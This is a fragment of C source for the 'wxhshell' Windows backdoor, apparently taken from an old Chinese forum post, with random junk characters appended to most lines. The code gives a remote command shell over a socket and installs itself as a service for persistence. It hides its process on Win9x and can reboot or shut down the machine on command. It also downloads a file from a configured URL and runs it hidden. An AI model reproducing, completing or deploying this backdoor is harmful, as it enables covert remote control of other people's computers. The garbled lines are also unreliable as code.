    break; 05 P#gs`<  
  } yQAW\0`  
  // 安装 Y nD_:ZK  
  case 'i': { :c4iXK0_^?  
    if(Install()) %N jRD|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s(~tL-_ K  
    else xF:}a:c@H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =ttvC"4?  
    break; 1r!o,0!d-'  
    } M]FA y"E  
  // 卸载 6Z09)}tZb  
  case 'r': { :%_*C09  
    if(Uninstall()) >K|<hzZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Ma=P\J W  
    else ORVFp]gG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ll" Kxg  
    break; >XTDN  
    } ,\YlDcl':0  
  // 显示 wxhshell 所在路径 GyirE`  
  case 'p': { MHl ffj  
    char svExeFile[MAX_PATH]; U +c ?x2\  
    strcpy(svExeFile,"\n\r"); UE:';(t  
      strcat(svExeFile,ExeFile); |6]2XW  
        send(wsh,svExeFile,strlen(svExeFile),0); bl8zcpdL  
    break; +JyD W%a:L  
    } T\ixS-%^  
  // 重启 XH^X4W  
  case 'b': {  "! -  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7T\LYDT  
    if(Boot(REBOOT)) gu~JB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rM?O2n  
    else { :6}Zo  
    closesocket(wsh); Q9Tt3h2ga  
    ExitThread(0); = aO1uC|6C  
    } kn$2_I9  
    break; .|$:%"O&X  
    } Fe r&X  
  // 关机 =1kE2u  
  case 'd': { Hnq$d6F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A_8UPGh8  
    if(Boot(SHUTDOWN)) P\jnht  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _*K=Z,a;\  
    else { fT]hpoJl  
    closesocket(wsh); Ch] `@(l  
    ExitThread(0); Z-md$=+}w  
    } L1H k[j]X|  
    break; dBWi1vTF  
    } cDkq@H:   
  // 获取shell _Wb3,E a=  
  case 's': { 3]46qk '  
    CmdShell(wsh); ^ gy"$F3{`  
    closesocket(wsh); be<7Vy]j  
    ExitThread(0); hFW{qWP  
    break; J!\Cs1 !f  
  } ]'.D@vFGO  
  // 退出 Kia34 ~W  
  case 'x': { DB=^Z%%Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }s@ i  
    CloseIt(wsh); \!51I./Q/  
    break; iBqxz:PHN(  
    } c"wk_ #  
  // 离开 rtjUHhF  
  case 'q': { s%bm1$}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k<Y}BvAYB  
    closesocket(wsh); _?}[7K!~d  
    WSACleanup(); R!+_mPb=Q*  
    exit(1); :@~Nszlb  
    break; YcRo>:I  
        } GLBzlZ?  
  }  Zra P\?  
  } pu"m(9  
U } K]W>Z  
  // 提示信息 G?,b51"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <MQTOz oj  
} JEL.*[/  
  } >s%&t[r6  
6_=t~9sY  
  return; B4#XQ-  
} P&sn IJ  
dED&-e#  
// shell模块句柄 vY"i^a`f  
int CmdShell(SOCKET sock) 'NAC4to;;  
{ \yE*nZ  
STARTUPINFO si; &6@# W]_  
ZeroMemory(&si,sizeof(si)); zObrp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; # 0* oj/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |34M.YjA  
PROCESS_INFORMATION ProcessInfo; 5/E7@h ,  
char cmdline[]="cmd"; 2lu AF2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )N'-A p$g  
  return 0; n>XfXt =  
} *SmR|Qy  
XU*4MU^'  
// 自身启动模式 eZ G#op  
int StartFromService(void) [uLpm*7  
{ w(N$$  
typedef struct #xoFcjRE  
{ gebDNl\Y2  
  DWORD ExitStatus; EyDH -}Y  
  DWORD PebBaseAddress; +a'["Gjq;  
  DWORD AffinityMask; nB9(y4  
  DWORD BasePriority;  WJ&a9]&C  
  ULONG UniqueProcessId; gucgNpX  
  ULONG InheritedFromUniqueProcessId; KsDovy<  
}   PROCESS_BASIC_INFORMATION; y5/LH~&Ov  
Hp(wR'(g&  
PROCNTQSIP NtQueryInformationProcess; ">M:6\B  
>(\Z-I&YQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lc(}[Z/|V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gl6M(<f\5  
VBN=xg}  
  HANDLE             hProcess; <hBd #J  
  PROCESS_BASIC_INFORMATION pbi; =M."^X  
DX(!G a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kQ99{l H,5  
  if(NULL == hInst ) return 0; &~&oB;uR  
2EC<8}CG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B1k;!@@1 4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }8Yu"P${Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V6!1(|  
PLueH/gC.  
  if (!NtQueryInformationProcess) return 0; 'E)g )@^  
i `7(5L~`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v\G+t2{  
  if(!hProcess) return 0; -%ftPfm  
F T$x#>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0x2[*pJ|IW  
1EHL8@.M  
  CloseHandle(hProcess); "KKw\i  
O"ebrv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >|rU*+I`  
if(hProcess==NULL) return 0; V'8Rz#Gc5  
}G ^nK m  
HMODULE hMod; *cy!PF&  
char procName[255]; 1a tQ9  
unsigned long cbNeeded; Zq"  
&Vy.)0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~F.kgX  
ZkqZO#nq C  
  CloseHandle(hProcess); Zv5vYe9Ow  
XR+  
if(strstr(procName,"services")) return 1; // 以服务启动 {lbNYjknS  
l&_PsnU  
  return 0; // 注册表启动 ]T;  
} l\_81oZ  
]-{A"tJ  
// 主模块 m9mkZ:r(kV  
int StartWxhshell(LPSTR lpCmdLine) sI5S)^'IQ  
{ 0gsRBy  
  SOCKET wsl; Nz%Yi?AF  
BOOL val=TRUE; oR~s \Gt  
  int port=0; ld[BiP`B2V  
  struct sockaddr_in door; "Ky&x$dje  
hiw>Q7W  
  if(wscfg.ws_autoins) Install(); |lMc6C  
B4eV$~<  
port=atoi(lpCmdLine); PB;j4  
Zq{TY)PI]  
if(port<=0) port=wscfg.ws_port; yqKSaPRA  
ziXI$B4-  
  WSADATA data; N gagzsJ=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dYZB> OS  
i}/Het+(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }t0JI3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ddwokXx (  
  door.sin_family = AF_INET; Lt_A&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (g3DI*Z  
  door.sin_port = htons(port); Ns$,.D  
v<vaPvW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /kV5~i<1S  
closesocket(wsl); J]5ZWo%  
return 1; OU[ FiW-E  
} |& _(I  
 tPChVnB  
  if(listen(wsl,2) == INVALID_SOCKET) { 3'!*/UnU  
closesocket(wsl); N6BEl55 &  
return 1; vu~7Z;y(<j  
} ot,=.%O  
  Wxhshell(wsl); nq:'jdY5|  
  WSACleanup(); KT0Pmpp5  
\u*[mrX_B:  
return 0; T'-kG"lb  
;~Gez;AhK  
} T\ [CQO  
W?yGV{#V(=  
// 以NT服务方式启动 AWDy_11Nm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  @7J;}9E  
{ yL_ \&v  
DWORD   status = 0; ^+}~"nvD  
  DWORD   specificError = 0xfffffff; 6o]j@o8V  
_xGC0f (  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rw#?NI:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J~}i}|YC>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]\F}-I[  
  serviceStatus.dwWin32ExitCode     = 0; #c(BBTuX  
  serviceStatus.dwServiceSpecificExitCode = 0; B:6VD /qC  
  serviceStatus.dwCheckPoint       = 0; "DSRyD0M  
  serviceStatus.dwWaitHint       = 0; 9P*p{O{_  
1"No~/_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I+rLKGZC  
  if (hServiceStatusHandle==0) return; fv:&?gc  
KeWIC,kq  
status = GetLastError(); Ee^>Q*wahw  
  if (status!=NO_ERROR) zYEb#*Kar  
{ x\!vr.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =a6e*f  
    serviceStatus.dwCheckPoint       = 0; A\v]ZN4  
    serviceStatus.dwWaitHint       = 0; 7Mb-v}  
    serviceStatus.dwWin32ExitCode     = status; u-=VrHff^*  
    serviceStatus.dwServiceSpecificExitCode = specificError; %:8XZf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3K%_wCZ  
    return; 7)*QX,4C  
  } COcS w  
mW1T4rR'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Hlz$@[$  
  serviceStatus.dwCheckPoint       = 0; \J6&Z13Q  
  serviceStatus.dwWaitHint       = 0; )D" 2Q:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v[~Q   
} toel!+  
8@]vvZ2/gj  
// 处理NT服务事件,比如:启动、停止 5UvqE_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y{<SD-ibZ$  
{ 6*s:I&  
switch(fdwControl) -+W E9  
{ '~E=V:6  
case SERVICE_CONTROL_STOP: c\VD8 :  
  serviceStatus.dwWin32ExitCode = 0; aK--D2@}i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9:7&`J lC#  
  serviceStatus.dwCheckPoint   = 0; d_ji ..T  
  serviceStatus.dwWaitHint     = 0; oG=4&SQ  
  { T&->xe f=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S6{u(= H  
  } Dyh|F\T  
  return; cG5u$B  
case SERVICE_CONTROL_PAUSE: Mh=j^ [4Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w\ddC DZ  
  break; R/kF,}^F  
case SERVICE_CONTROL_CONTINUE:  6Ok]E`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lbC9^~T+  
  break; /|8/C40aY  
case SERVICE_CONTROL_INTERROGATE: g5t`YcL  
  break; .}n\c%&  
}; |9]_<X[ic  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j"n"=rTTQ  
} 0xc|Wn>  
lMe+.P|  
// 标准应用程序主函数 U3|9a8^H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) okH*2F(-  
{ u6i X&%e  
#pk  
// 获取操作系统版本 z7R2viR[  
OsIsNt=GetOsVer(); d8&T62Dnd4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fy={  
KdC'#$  
  // 从命令行安装 [BFPIVD)h]  
  if(strpbrk(lpCmdLine,"iI")) Install(); @j=rS S  
wpcqgc  
  // 下载执行文件 9S8V`aC  
if(wscfg.ws_downexe) { R,m|+[sl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;8yEhar  
  WinExec(wscfg.ws_filenam,SW_HIDE); j {Sbf04  
} sv2XD}}  
(PSL[P  
if(!OsIsNt) { !wH'dsriD  
// 如果时win9x,隐藏进程并且设置为注册表启动 om8`^P/b  
HideProc(); h/..cVD,K  
StartWxhshell(lpCmdLine); JwdvY]  
} LQJC]*b1  
else n= FOB0=  
  if(StartFromService()) L+_ JKc  
  // 以服务方式启动 a$$aM2.2  
  StartServiceCtrlDispatcher(DispatchTable); Dmr3r[  
else '?d5L+9  
  // 普通方式启动 r+,JM L   
  StartWxhshell(lpCmdLine); t_ id/  
d?N[bA  
return 0; MC%!>,tC  
}
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只看该作者 1 发表于: 2006-10-10
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